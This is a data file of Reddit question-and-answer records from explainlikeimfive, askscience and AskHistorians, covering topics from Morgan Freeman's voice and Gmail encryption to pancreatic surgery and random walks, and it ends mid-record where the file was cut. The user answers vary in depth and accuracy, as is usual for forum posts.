{"q_id": "4ut4d3", "title": "why do some voices such as morgan freeman's naturally sound pleasant to our ears while others come off as annoying or unpleasant?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ut4d3/eli5_why_do_some_voices_such_as_morgan_freemans/", "answers": {"a_id": ["d5sn7rm", "d5so29b"], "score": [20, 4], "text": ["When he was younger, Morgan's voice was no-where near as smooth and velvety as it is today.  In fact even just 15 years back - it was a bit different than it sounds as you can hear it any one of the movies he was in back then.\n\nBecause of the way our brain is programmed, some due in part to evolution and some due to learned reactions we have acquired, we realize that there are audible cues in our environment that can change our demeanor.  High pitches with shrill noises can denote fear or attention to see what's going on and make ourselves more alert.   Lower subdued tones usually bring on a sense of calmness and subdued reactions.\n\nSince Morgan has a deeper voice and has good control over his intonation of how he pronunciates and forms his words, his voice can be very soothing and put us into that more relaxed state.  However in the end of \"Se7en\" (movie  he was in) - his tone is far higher and excited during one scene denoting to us that there should be a heightened state of awareness for our own safety and to pay attention.", "Yes, I could listen to Morgan [narrate anything](_URL_0_) all day long. Fran Drescher? Rosie Perez?  I'd start jamming pencils in my ears within 5 minutes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://youtu.be/3MAJvgm2eMg"]]}
{"q_id": "rqi27", "title": "How Much Energy Does Earth Hour Actually Save (or Waste), if Any?", "selftext": "Exactly as the title states... All these people pressure everyone and act obnoxious about \"Earth Hour\" and after being harassed about it, naturally, I want to know factual evidence that provides it is actually beneficial or maybe the opposite? Perhaps it wastes more energy than it's worth?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rqi27/how_much_energy_does_earth_hour_actually_save_or/", "answers": {"a_id": ["c47v5ec", "c47ydfv"], "score": [4, 8], "text": ["It's a drop in the bucket.  Even assuming 100% participation and everything being turned off, you're only doing it for an hour, or 0.01% of the year, so you can't be reducing energy consumption by more than that amount.\n\nI think the idea is \"raising awareness\" more than actually saving energy during the hour itself.", "Earth Hour actually takes a pretty severe toll on the power grid.  Production can't be easily ramped down for the sake of an hour, especially when you consider that there will be a huge spike when the hour rolls over (deferred usage of appliances, not-so-affectionately referred to as Surge Hour).  The plants continue to output and maintain a substantial spinning reserve.  That reserve gets shed through resistors, doing nothing useful.\n\nAdditionally, smaller conventional grids in isolated areas have a big problem trying to shed load.  This problem is exacerbated when a grid is largely residential and consumer service, with little constant industrial consumption to smooth out the delta between Earth Hour and Surge Hour.  So far we seem to have handled things well, but I fully expect that in a coming year we'll hear of brownouts in isolated grids (i.e. Barbados and Hawaii) as shunts fail, generators are scrammed, and the spinning reserve drops too low to handle Surge Hour.\n\nEDIT: By \"severe toll,\" I'm specifically referring to the management of the grid.  I can't find any reports of grid damage that wouldn't be attributed to any other load transient.  Still though, it takes a truly massive amount of people-hours in labor to keep things in check during that hour long consumer-induced underload."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "88rn03", "title": "Was the founder of Soto Zen Buddhism really the L. Ron Hubbard of Japan?", "selftext": " > Zazen prayer-meditation was invented by the cult leader Dogen, who was basically the L. Ron Hubbard of Japan.\n\nI've seen this claim a few times recently. Was Dogen a cult leader? Did he invent Zazen meditation? Did he really make up (or intentionally skew) what he claims to have learned in China? Would that mean Soto Zen Buddhism, with how influential it was in Japan and by extension the U.S., is really not Zen Buddhism?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/88rn03/was_the_founder_of_soto_zen_buddhism_really_the_l/", "answers": {"a_id": ["dwneaab"], "score": [19], "text": ["If you read this on r/zen then ignore it. Every other poster there don\u2019t know what they are talking about it and try to assert inaccurate and false claims upon S\u014dt\u014d Zen due to their personal dislike of it rather than actual historical basis.\n\nOther than that he did not invent Zazen, instructions can be found in earlier Chinese texts like \u201cMozhao Ming\u201d, \u201cZuochan Yi\u201d,  \u201cDialogues of Hongzhi Zhengjue\u201d, etc.\n\nSome modern scholars question how much contact Dogen actually had with his claimed teacher Tiantong Rujing due to differences in their teaching and the way Dogen\u2019s narrative changed over his life and through history as later followers also changed it. He is said to have emphasised different throughout his life.\n\nAs for whether it\u2019s really Zen or not... I\u2019m not sure if that\u2019s a historical question but very few people would deny that it\u2019s Zen. It follows the characteristic \u201cSudden\u201d approach attributed to Zen, the Shobogenzo by Dogen though written in a different style contains classic Zen teachings like Mind is Buddha, etc and the practice of Shikantaza is a modified version of the sitting meditation practiced in China before the radical reforms of Dahui Zonghao.\n\nIf you are interested I would recommend reading \u201cDid Dogen Really Go To China: What he wrote and when he wrote it\u201d\n\nHere\u2019s a essay by the same author that discusses this topic.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.thezensite.com/ZenEssays/DogenStudies/Did_Dogen_Go_to_China.html"]]}
{"q_id": "50a9jj", "title": "why is the u.s. so far behind in payment technology?", "selftext": "I was recently reading a thread on the front page poking fun about the pain in the bum it is using the chip in the U.S..\n\nIt was pointed out that Canada, Europe, and Australia have been pretty much ahead of the game for years now and the idea of swiping a card is pretty much foreign to them.\n\nSo, why did the U.S. take so long to catch up? Is it because of stubbornness of the financial sector? Hesitance of citizens? Or, just good ol' American procrastination? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/50a9jj/eli5why_is_the_us_so_far_behind_in_payment/", "answers": {"a_id": ["d72ffx0", "d72hw78", "d72kpao", "d72tgj1", "d72wbj6", "d732k3c"], "score": [36, 11, 2, 3, 5, 9], "text": ["The US has a large number of indipendant banks, where most of those regions have fairly unified small number of banks.\n\nAdditionally, I know in Canada they have a unified payment management organization called Interac that sets the standards of payment method adoption though out the country.  This means all banks stay on the same technology and advance at the same rate.  This makes it far easier to adopt new technology and implement it across the board on a universal time table. ", "I moved to the US from Canada and it's like I have travelled back in time to when I was 10 years old every time I go to pay for something. ", "Ultimately I think it comes down to the government of America being less willing and able to mandate a change like this than all those other countries.  ", "America actually had contactless like 10 years ago, [but they were insecure](_URL_0_) (the video upload date is much newer than the video itself).  \n  \nBasically, any POS terminal that didn't accept contactless thus had to accept the mag stripe, rendering the tokenization (1-time security code) useless because the contactless cards sent the actual card number. I don't know if that is still the case (I doubt it), but if you look at a more modern implementation like Apple Pay, it doesn't send your actual card number, it sends your DAN (Device Account Number), which is a number associated with your phone that your bank has verified when setting it up.  \n  \nAs for contactless (which rolled out like 2 years ago), while  > 90% of businesses I go to have a reader with a chip slot, only ~25% accept it. From what I've heard, it's because the companies don't want to pay the extra money for the software to allow chip capabilities. While allowing chip transactions reduces fraud by a great deal, the simple economics are that the price to allow chip capability outweighs the probability of potential liability.", "Because Fraud. Fraud was rampant in France initially, so they adopted the Chip-carda first. Then fraud moved to a different European country, and the chip card followed. It didn't hit the US nearly as hard so there wasn't as much incentive for banks to force the transition, it was cheaper for the banks to handle the fraud after the fact and use preventive measures than to switch to cheap cards.", "We still use gallons for volume, feet for length, pounds for mass when the entire world uses metric. This is an even bigger problem."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://youtu.be/XD63gPKOt2g"], [], []]}
{"q_id": "2hcqcx", "title": "Where to find historical economic data?", "selftext": "Where can I find data for particular countries' external tariffs for a certain year or time period? Like what would France's external tariff be in 1950? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2hcqcx/where_to_find_historical_economic_data/", "answers": {"a_id": ["ckrj0ds"], "score": [2], "text": ["This is going to be complicated, since there's not just one tariff rate. It will vary a lot by product and country/area of origin [1].  What you are looking for does exist somewhere.  Years ago, I used an undergraduate international business textbook that showed a graph of average tariff rates from 1913 to 1990 (I think), though I have no idea where the information came from.\n\nFor recent rates, the WTO is your source, specifically [here]( _URL_0_).  Pre-1995 data would not fall under the WTO, but the predecessor treaty GATT.  The WTO is in the process of [digitizing GATT documents]( _URL_2_).  That would be where I would start; whether or not this information is part of this massive collection of documents I do not know.  \n\nIf that doesn\u2019t help, I\u2019d go to Google Scholar and search on something like \u201cfrance historical tariff rates,\u201d then pick through those results for scholarly articles dealing with the appropriate country and time period.  Those articles may have some summary information or may have sources for the rates.\n\nIf that doesn\u2019t work, my next stop would be the [EU, specifically here]( _URL_1_).  After that, I am out of ideas.\n\n[1] A current example from the US \u2013 the tariff rate for \u201cWoven fabrics containing predominantly, but  <  85% artificial staple fibres, mixed principally or solely with man-made filament, unbleached or bleached,\u201d and under the preferential duty rate for the Caribbean Basin Economic Recovery Act (CBERA).  The product list takes up 19,423 lines in an Excel file.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.wto.org/english/tratop_e/tariffs_e/tariff_data_e.htm", "http://www.eui.eu/Research/HistoricalArchivesOfEU/Index.aspx", "http://www.wto.org/english/docs_e/gattdocs_e.htm"]]}
{"q_id": "62pvnb", "title": "why is gmail still not end to end encrypted", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/62pvnb/eli5why_is_gmail_still_not_end_to_end_encrypted/", "answers": {"a_id": ["dfoeit7", "dfok3a7", "dfolt16", "dfomn8g", "dfong2h", "dfonl9e", "dfooycg", "dfovjl4", "dfovl4j"], "score": [61, 696, 101, 4, 33, 28, 2, 3, 120], "text": ["If it was, Google wouldn't be able to read through it to help figure out what kind of ads to show you. That's the whole point of Gmail. ", "Because it is email, and email cannot be end to end encrypted, without bringing in other technologies like PGP encryption.\n\nIf you use HTTPS and/or SSL IMAP to access Gmail, the connection is \"end to end\" encrypted between the computer and the server.  However the server can read the contents of your email because that is how the email system was designed.", "If it was end to end encrypted, either you'd have to manage the key yourself (and your email would all be lost if you lost the key) or the key would have to be stored on Gmail's servers encrypted with your password (and all of your email would be lost if you forgot your password- no such thing as a password reset for this). There is no way to make it \"just work\" with end-to-end encryption, and it turns out that ease of use and password resets are more important to more people than end-to-end encryption. ", "Your emails hosted on Gmail have to be able to send to other domains too, so none of those would be compatible.\n\nLikewise you receive emails from other domains, which also wouldn't be encrypted.", "There are several reasons. One huge one I haven't seen mentioned is spam. A big selling point of Gmail is their great spam prevention, which only works based on Google's ability to read emails en mass and get feedback (whether from automated AI data mining or manual user reports) about whether or not certain types of email are spam. If they couldn't access the plaintext of your emails, then spam prevention could only be done client side, which would be much less effective (less processing power, delays incoming mail, can't share results with other users as easily, etc). ", "Encrypting e-mail is easy, addon like [enigmail]( _URL_0_) for thunderbird do the job. \n\nThe problem is that nobody uses encryption. If I send an encrypted e-mail te Jeanne Doe, she needs to be able to read it. It's not that hard (2 Buttons in enigmail) but already to complex for the average mail user.  The only encrypted e-mail I sent was something like \"*test post, do not answer*\" and the encrypted answer from my friend was \"*it's working*\" \n\nFor Gmail the Gmail crypt plugin will do the trick, but again if none of your friend use it your screw. ", "My personal thoughts on this is that Gmail is just too popular to completely change their security measures. Encrypted email programs generally require multiple passwords, one of which actually decrypts which is generally not stored anywhere on the providers servers, so if you lose it you lose your email, which would piss a lot of people off. I personally use protonmail for all of my personal information like banking stuff and anything that has my name on it, primarily just because of that extra password that nobody could brute force their way into. I use gmail for silly shit like reddit, stuff that if somehow someone got into I wouldn't really lose anything. ", "This is as close to I have found to encrypted email:\n\n_URL_0_\n\nWhen I got the account I was on a waiting list for over a year.", "1. GMail is an email provider, and has to work with other email providers. Even if they implemented end-to-end encryption, they couldn't use it with other providers unless those providers also used the same system.\n\n2. GMail's servers read your email to see whether they are spam, and to target adverts at you, and to provide fast, high-quality search of your emails. All of these are impossible if GMail can't read the email because it's encrypted.\n\n3. If GMail stored your mail encrypted, as well as being unable to search it, it would all be unreadable if you lost your private key, or if you moved to a computer where you didn't have access to it. Storing it in the cloud would require another layer of interoperability (you'd need a way to get the key into GMail), unless Google itself stored the key, in which case Google could also decrypt your emails. If GMail stored the email unencrypted, there would be no point.\n\nIt's good to compare the service with WhatsApp. WhatsApp does everything through your phone. If your phone is off or without internet, it doesn't work anywhere. This means they can store your key on the phone and have it only decrypt stuff on the phone. Because it's their own protocol they can build the key management right into it and don't need to worry about some other service not supporting the way they do encryption."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://addons.mozilla.org/fr/thunderbird/addon/enigmail/"], [], ["https://protonmail.com"], []]}
{"q_id": "5n9jv2", "title": "In 1919, why did Rosa Luxemburg speak out against the imminent possibility of a communist uprising in Germany?", "selftext": "One would expect that a communist revolutionary would support a communist revolution, especially at a time when the German state was so weak.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5n9jv2/in_1919_why_did_rosa_luxemburg_speak_out_against/", "answers": {"a_id": ["dcb9dvd"], "score": [3], "text": ["One of the problems with evaluating Luxemburg's position before her death in January 1919 is that the jumble of contemporary events often intersected with her existing writings on the course and direction of a proletarian revolution. Thus tactical moves and reactions after the outbreak of the November Revolution gain an ideological gloss while her own writings and exhortations during this period had an eye towards immediate events. This intellectual ouroboros is tangled and it is easy for a historian of the November Revolution to fall down a rabbit hole of competing theory.\n\nWithout getting too much into the weeds of Luxemburg's theories, her championship of democracy at first seems at odds with her strident advocacy of the need for a proletarian revolution and the need to triumph over capitalism. This is not as contradictory though as it first appears. Even though she shared some ideological affinities with Lenin, one point of departure between the two revolutionaries was over the role of the party in the revolution. over the course of 1917-18, it was becoming clear that Lenin's favored a more central organization by a smallish party apparatus. Lenin, it should be stressed, was more than capable of making tactical compromises and fit ideology to emergent conditions, and both the onset of civil war and the continued problem of the Germans made a central organization a greater likelihood for the Bolsheviks. For Luxemburg, centralization not only opened up the likelihood of dictatorship by a leadership clique, but more importantly denuded the potential for a proletariat revolution to reach the proletariat. This is why both Luxemburg and Liebknecht championed democracy over a vanguardist revolution in late-1918. A mass-party for her had the greatest potential to reach the disaffected German proletariat and give shape to a revolution. The party and its leadership would not function as an executive, but rather as an agitator that could make the proletariat step outside its halo and destroy the capitalist order. In her view, isolated pockets of revolution could not succeed and create a truly mass movement. \n\nLuxemburg's championship of a democratic road to communism was not really an abandonment or dilution of her rather strident brand of Marxism. She still unwilling to compromise with SPD democrats and both the KPD and the Spartacists had an intransigence and hostility towards bourgeois democracy. In more than a few ways, her support for liberal democracy was a way of using the tools of bourgeois society against it. Luxemburg's critique of the Bolsheviks' centralizing tendencies assumed an air of prophecy after Stalin, but this obscures some of her own commitment to an immediate radical restructuring of German society. This puts her opposition to the Bolsheviks in late-1918, if it can be termed opposition, into sharper relief. It is not that Luxemburg was against communism, but rather that she championed a different *sort* of communism than that which was emerging in Russia. \n\n*Sources*\n\nEpstein, Catherine. *The Last Revolutionaries: German Communists and Their Century*. Cambridge, MA: Harvard University Press, 2003.\n\nWeitz, Eric D. *Creating German Communism, 1890-1990: From Popular Protests to Socialist State*. Princeton, N.J.: Princeton University Press, 1997. \n\nWhite, James D. *Lenin: The Practice and Theory of Revolution*. Houndmills, Basingstoke, Hampshire: Palgrave, 2001.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "td9f1", "title": "Quantum nature of light and a mirror - what happens to single photons in contact with a mirror?", "selftext": "In classic optics a mirror is an obstacle that reflects most of the light and absorbes some of it.\n\nBut my question is, what happens to a single photon getting in contact with a mirror. Is mirror a detector of photons, collapsing them on one position just like in observation of double slit experiment with electrons? What is exactly mechanics behind mirror-like objects reflecting of photons?\n\nI failed at google'ing the topic, no keywords gave me good results, so until physics lecture you're my only hope /r/askscience ;)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/td9f1/quantum_nature_of_light_and_a_mirror_what_happens/", "answers": {"a_id": ["c4lmcko", "c4lmp17"], "score": [3, 3], "text": ["here's one link where people discuss this topic and also some references listed: _URL_0_", "The photon is absorbed by an atom in the mirror and its energy is briefly stored in that atom by exciting an electron.  When the excited electron comes back down to its resting state, that energy is released in the form of a photon.\n\nThis is why light appears to travel slower in certain mediums, the delay has to do with how long the electron takes to store and retransmit the energy carried by the photon.\n\nSource: physics class."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://answers.google.com/answers/threadview/id/759112.html"], []]}
{"q_id": "1n6h3b", "title": "Would an insanely large amount of empty folders on a computer fill it up?", "selftext": "Of course a HDD or SSD can only hold a finite amount of space. My thinking for this problems was that although folders/directories don't directly take up space, they have to take up a TINY amount of space for meta-data and in windows maybe even in the MFT?\n\n\nSo if I had a computer with 1,000,000,000,000,000,000 folders in it, would that take up any space?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1n6h3b/would_an_insanely_large_amount_of_empty_folders/", "answers": {"a_id": ["ccftyji", "ccftym3", "ccfuolb", "ccfxzlz", "ccfyyea"], "score": [3, 4, 10, 2, 5], "text": ["All the most common file systems have an upper limit on the number of files/directories they can have. I think for NTFS (windows' file system) that's somewhere around 4.3 billion.\n\nOn NTFS at least directories are stored in the master file table (MFT) and are padded out to 1kb for storing the file name and any metadata, so in principle I guess that sets a limit of around 4TB of space for directories on a windows machine, which is pretty substantial!", "What happens depends on the file system. Some file systems have a fixed number of slots for files and folders, so when you hit that number, you can not create any more, but there is free space for files to grow. This maximum number of files and directories is usually configurable when you create the file system. Other file systems just allocate space dynamically for files and directories, and then you can actually fill the entire space up with directories.\n\nAlso, directories *do* \"directly take up space\". A directory is a list of files and their names, and the longer the list, the more space the directory takes up. Whether or not an empty directory gets a block allocated for it is file system dependent, but creating a directory will always take up space in the parent directory.\n\nTo put your number into some perspective, 1,000,000,000,000,000,000 is in the order of one exadirectory. Assuming each one occupies one 4Kb block, just the directories themselves occupy several zettabytes. That's excluding the file names and other data needed to refer to the directories in their parent directories.\n", "Depending on the file system you can run out of inodes.\n\nFor example:\n\nIf you make a small EXT3 or EXT4 file system and manually set the inodes to a low value:\n\n$ dd if=/dev/zero of=test-file count=40960\n\n$ /sbin/mkfs -t ext3 -N 2048 -q test-file\n\nIf you try to create more than 2048 subdirectories on this file system, you will run out of inodes and the file system will fail to create new directories.\n\nThis is just one quick example of how it could happen.", "Yes. Each folder entry on a filesystem takes up some space in a few different ways. \n\nFirstly, it needs to store it's metadata, such as the last time the folder was accessed, the folder name, permissions, etc. \n\nSecondly, it takes up space through its direction function, organizing other files/folders. It needs to store a list of things it contains (as well as links _to_ them and their metadata). The folders container also stores information about the folder as well. \n\nHow quickly it will fill depends on the filesystem. Some are much more efficient at storing folders and their metadata. Some just omit certain things (omitting permissions on many older filesystems, for example). Some file systems have hard limits on the _number_ of overall folders, while others have hard limits on the number of folders within another folder. In the former case, its actually possible to hit that count limit before you fill the disk (if the disk is large enough), so you could still put files onto the disk. \n\nThe reality is that folders take up a very tiny amount of space. I wouldn't be worrying about the number of folders that a human can create. I would be more concerned about navigating them and losing files that are far too obsessively organized (10 folders deep with 1 file under each second-level folder, as I once saw). ", "You don't have know much about Operating Systems to know this can't be true. You can actually use math and *proof by contradiction* to realize that it must take space:\n\n* Assume a folder does not take up any space\n* You can now create infinite many folders since they don't take up space\n* Each folder has a name and a parent (at the very minimum) so the information is not zero\n* You've now create a machine which stores infinite amount of information in zero space\n\n= >  Contradiction"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "3mndil", "title": "why did pennsylvania public schools lose funding and how would this impact the schools?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3mndil/eli5_why_did_pennsylvania_public_schools_lose/", "answers": {"a_id": ["cvgpzaq"], "score": [2], "text": ["A few minutes of googling show me that the governor and legislature cannot agree on a budget.  The governor vetoed the budget passed by the legislature.  \n\nSchools get money from the state and if the state does not allocate money then they have none to spend.  That is all that is comes down to.  \n\nIn this case you have a Democratic governor fighting with a Republican legislature.  \n\nedit: Impact: schools shut down except in wealthy areas where local taxes can cover costs until everything is resolved.  Those with the means will probably move children to a private school."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2xvb46", "title": "what is the evolutionary significance of the ridge between our nose and mouth?", "selftext": "It's like an appendix. Nobody knows what it's for but sometimes it just decides to randomly kill you (in this case, people get a cleft lip). ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2xvb46/eli5_what_is_the_evolutionary_significance_of_the/", "answers": {"a_id": ["cp3q55b", "cp3q9zh", "cp3stkq", "cp3usfa"], "score": [23, 7, 4, 2], "text": ["It is called the \"philtrum\" and in other animals would carry moisture from the mouth to the nose through capillary action to keep it wet. In humans it is vestigial, but is formed by the fusion of the nasomedial and maxillary processes which if it fails results in a cleft lip.", "As I understand, it comes from the improper folding and fusing of the notochord during very early embryonic development. \n\nBecause of this, cleft palates are related to spina bifida, though obviously far less severe. \n\n_URL_0_", "Hey,\n\nHopefully you've received some satisfactory replies. But I think you should read [this] (_URL_0_).\n\nTL;DR Not everything that exists in biology serves a purpose. Some things just are.", "From my understanding, when the human head forms, it all ends up coming together at that ridge. When it meets up incorrectly you get the cleft palate. I watched a pretty good youtube video about it a few months ago. I can't look it up for you but you might try searching why we have a philtrum.\n\nEdit: added info"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.ehib.org/page.jsp?page_key=459"], ["http://m.rspb.royalsocietypublishing.org//content/205/1161/581"], []]}
{"q_id": "dfngdy", "title": "why is pancreatic cancer so sensitive and dangerous to operate on, but diabetics can live without a functioning pancreas?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dfngdy/eli5_why_is_pancreatic_cancer_so_sensitive_and/", "answers": {"a_id": ["f34km44", "f34saal", "f34v67k", "f35ay95", "f35mthj"], "score": [25, 7, 26, 3, 2], "text": ["A couple of things at play here. Diabetics do not have an entirely nonfunctional pancreas. The pancreas does a ton of things besides insulin production. From a functional standpoint, the pancreas is basically two separate organs, the endocrine pancreas and the exocrine pancreas. The exocrine part is in charge of producing all the digestive enzymes necessary to break most food down after it comes out of the stomach. \n\nThe pancreas is difficult to operate on in part because cancer often causes the pancreas to grow towards and around some pretty major bunches of arteries and nerves, which makes it very difficult to effectively remove the mass", "Because, this is one of the cancer which is very asymptomatic, means patients get to know about their cancer very very late, by the time cancer has already spread to lymph nodes. And this is the case for all the gastric cancers. Compare that with breast cancer or melanoma or even prostate cancers. If patients identify cancer early enough it is potentially curable, but its rarely the case.", "The pancreas produces powerful digestive enzymes. Unlike the enzymes in the stomach, which only work in strong acids, pancreatic enzymes work in the considerably less acidic small intestine. These enzymes digest meat, among other things.\n\nPeople are made of meat at about the right PH for pancreatic enzymes to work. Close enough, at least, that if you even nick the pancreas the wrong way, it will start digesting every organ in the area. This kills the patient. As a result, surgeons are afraid of the pancreas and almost never operate on it. It's a little yellow bag of kills-the-patient and it's really super bad news. Don't touch it. Don't even look at it. Pancreas bad.", "The pancreas doesn't just produce insulin. Type I diabetics don't produce enough insulin, but they do produce the other enzymes you need to survive. \n\nThe pancreas itself is sort of like a bunch of very thin bubbles, full of (basically) acid. If you disturb it, sometimes that \"acid\" gets loose and starts damaging surrounding structures. So in general, surgeons do everything they can not to disrupt it. \n\nPancreatic cancer specifically is bad because it doesn't typically cause symptoms until very late. So it grows and spreads until it starts pinching off important tubes, and by then it's nearly impossible to treat.", "Some comments missed the mark just a little when talking about the pancreatic function. \n\nLike someone mentioned, the pancreas is both an endocrine and exocrine organ. The endocrine portion comes from what's called the Islets on Langerhans, which is the portion of the pancreas that produces insulin. Type I diabetes is caused by a destruction of these endocrine cells, whether autoimmune or otherwise, which leads to decreased or ceased insulin production. \n\nThe exocrine function of the pancreas is to release digestive enzymes, like lipase (breaks down lipids or fats) and amylase (breaks down sugars) and others, as well as sodium bicarbonate to neutralize the chyme that comes from the stomach via the pyloris in the jejunum. That secretion also mixes with bile salts, which helps with the absorption of lipids.\n\nLike others have said, the pancreas is fragile, and having these digestive juices in the free space of the body is quite damaging. So surgical intervention is quite risky. There are such things as pancreas transplants, however, they are mainly done for the treatment of type I diabetes\n\nJust a note, the enzyme responsible for breaking down protein, which is pepsin, is formed in the stomach itself."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "9fsl5i", "title": "why can't absolute randomness be programmed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9fsl5i/eli5_why_cant_absolute_randomness_be_programmed/", "answers": {"a_id": ["e5yur21", "e5yvbz6", "e5yvn2v", "e5yvtmb", "e5z0d98", "e5zcgwg", "e60dfxx"], "score": [8, 4, 3, 3, 22, 3, 2], "text": ["All random number generators use formulas to generate their numbers. Whatever input is used at the start of those formulas will affect the outcome, so its never truly random.", "It's deterministic. There's an algorithm behind it. We humans like to think we can comprehend randomness (or that it's even a thing), but chances are that we just don't know enough yet about whatever it is.", "Computers have no initiative of their own.  They can't \"just pick a random number\"; they have to be programmed with instructions about *exactly* what to do.  If you're programming a random number generator, you have to tell it what to start with and what to do with it - you can give it something that's *mostly* random, then have it do something that mixes it up even more, and that'll probably be good for 99% of all uses, but it's still even then not technically 100% random.\n\nIf you want absolute randomness, you need something outside of the program which is not predetermined by the programmer - like, say, a box that measures cosmic radiation and gives the program a number based on that.", "A general program can create true random number. But you can add a random number generating function to a processor that look for example on thermal noise of a resistor/transistor. So both Intel and AMD x86 cpus have special instruction RDRAND and RDSEED that is seeded by thermal noise and implement true random numbers.", "Programming, by definition, is given the computer a pre-determined set of instructions. \n\nRandom, by definition, can't be pre-determined. \n\nYou *can* program a computer to use an external source of randomness, but in that respect you're not programming randomness, just passing it along.", "To be fair, for all intents and purposes, very few things except at the quantum level are truly \"random\". True randomness essentially means that despite the same set of input, you get different output. Flipping a coin? Pseudorandom. Rolling a die? Pseudorandom. Blurting a \"random\" number? Not even pseudorandom. Because they follow processes that if you repeated with the same input, you'd get the same output. However, it'd be so difficult to perfectly duplicate exactly how you rolled a die, the atmosphere, your muscle movements, the surface it rolls on, etc. that it's as a good as random for our uses. Basically there's a spectrum between deterministic and pseudorandom where the combination and complexities of input become increasingly more difficult to copy exactly, hence making the output appear \"random\". In the case of computers, the complexity is usually sufficient for our purposes, but still technically repeatable if given the same input since it's usually based on a seeded algorithm.", "Part of the definition of what it *means* to be a computer (program) is that you do the same thing, every time, assuming your input is exactly the same.\n\nThe definition of \"randomness\" means \"different every time,\" but the definition of \"a program\" means \"the same every time.\"\n\nOf course, people make programs all the time involving randomness.  How do they do it?\n\nThe answer is that there's a loophole.  If you *make the randomness part of the input*, your program can do something different every time (as long as whatever's providing the input provides different input every time).  So one of the instructions in the program code will be to \"ask\" some hardware device(s) (or ask the OS) for some data [1] that the designer of the program thinks \"should\" be different every time the program runs.\n\n[1] What kind of data?  Some systems have sensors for heat, radiation, or quantum effects, specifically designed for \"true randomness.\"  Our current understanding of physics says these things are basically as close as you can get to completely random physical processes.  You can also things intended for different purposes like clock, keyboard, mouse, and network connections.  There are fairly well-understood ways to \"mix up\" data from multiple sources, so you can take a lot of data points to get \"more randomness.\"\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "ajqbin", "title": "why is it easy to gravitate to less knowledgeable sources like youtube, magazines than watching documentaries or reading books while spending free time?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ajqbin/eli5_why_is_it_easy_to_gravitate_to_less/", "answers": {"a_id": ["eexqby1", "eexqe3u", "eexwg9d"], "score": [3, 3, 2], "text": ["That is 100% a personal choice. If you choice to read garbage and you know its garbage thats a personal decision that your choosing not a a popular trend. Just means your friends like the same fiction you do. Perhaps you should meet new friends. Perception is reality. ", "The \"fake news\" is more interesting than the real news.  Those \"Big Deal, if true\" headlines could really be a big deal.  And frankly, most people follow the news like the sports, looking for games that their team won rather than thoughtfully pondering the rules and fundamentals.", "As humans, we actually dislike mental work. Our brains typically avoid it when possible. It's easy to accept things that don't require much mental work than it is to challenge ourselves and learn. We have to make the conscious choice to go through mental work for our own benefit, but many people that only care about profits have figured out how to exploit the average person's mind to engage them and keep them hooked. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1iqo8x", "title": "Why is there a 100% chance that a 2D random walker will return to its original position but this reduces to 34% in three dimensions?", "selftext": "So I read that a two dimensional random walker will always return to its original position given infinite time, but this decreases more and more in n dimensions. In three dimensions, for example, I read that there is a 34% chance. Why is this?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1iqo8x/why_is_there_a_100_chance_that_a_2d_random_walker/", "answers": {"a_id": ["cb73ktx", "cb742iu", "cb76fg3"], "score": [10, 52, 3], "text": ["Also something I didn't emphasize enough in my question is why does a 2D random walker have a probability of 100% of returning to its original position? For example, consider my [highly scientific diagram](_URL_0_). Imagine it's a infinite 2D array of points. Isn't what I depicted possible -- where a random walker at each point has 4 options and just by chance it turns 90 degrees counter clockwise so it never returns to its original position? Or is my understanding of probability under infinite time flawed?", "I'm [paraphrasing an answer from Math Overflow](_URL_1_) in a way that will make it more accessible. Let's say you have a random walk in d dimensions. What does it look like when you disregard all but one of the dimensions - you see a 1-d random walk! Since you have d dimensions, we can do this kind of thought experiment for each dimension. So in the end you are really looking at a combination of d one-dimensional random walks (really a \"product\" of sorts). Now, if you are looking at the probability of returning to the origin, in 1 dimension the answer is not that difficult. The answer for d dimensions is really a product of the 1-dimensional probabilities. They are kind of small but for d = 1 and d = 2 they add up to 1 quickly and you find that you return to the original position. When d = 3, they are just small enough that they don't add up to 1, no matter how many steps you allow. \n\nTo be a bit more precise the probability that a 1-d random walks is near the original position after n steps is proportional to n^(-1/2). To find the probability that we'll eventually return you need to sum the probabilities that the walk will return in 1 step, in 